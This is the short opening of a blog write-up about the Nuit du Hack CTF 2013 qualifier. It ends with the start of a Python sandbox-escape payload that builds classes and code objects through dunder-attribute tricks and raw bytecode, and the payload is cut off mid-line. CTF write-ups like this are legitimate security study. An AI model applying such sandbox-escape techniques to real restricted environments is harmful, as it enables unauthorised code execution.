The Nuit du Hack CTF 2013 Quals round was taking place yesterday. As usual, I’ll be posting a few writeups about fun exercises and/or solutions from this CTF. If you want more, my teammate w4kfu should be posting some writeups as well on his blog soon. TL;DR: auth(''.__class__.__class__('haxx2',(),{'__getitem__': lambda self,*a:'','__len__':(lambda l:l('function')( l('code')( 1,1,6,67,'d\x01\x00i\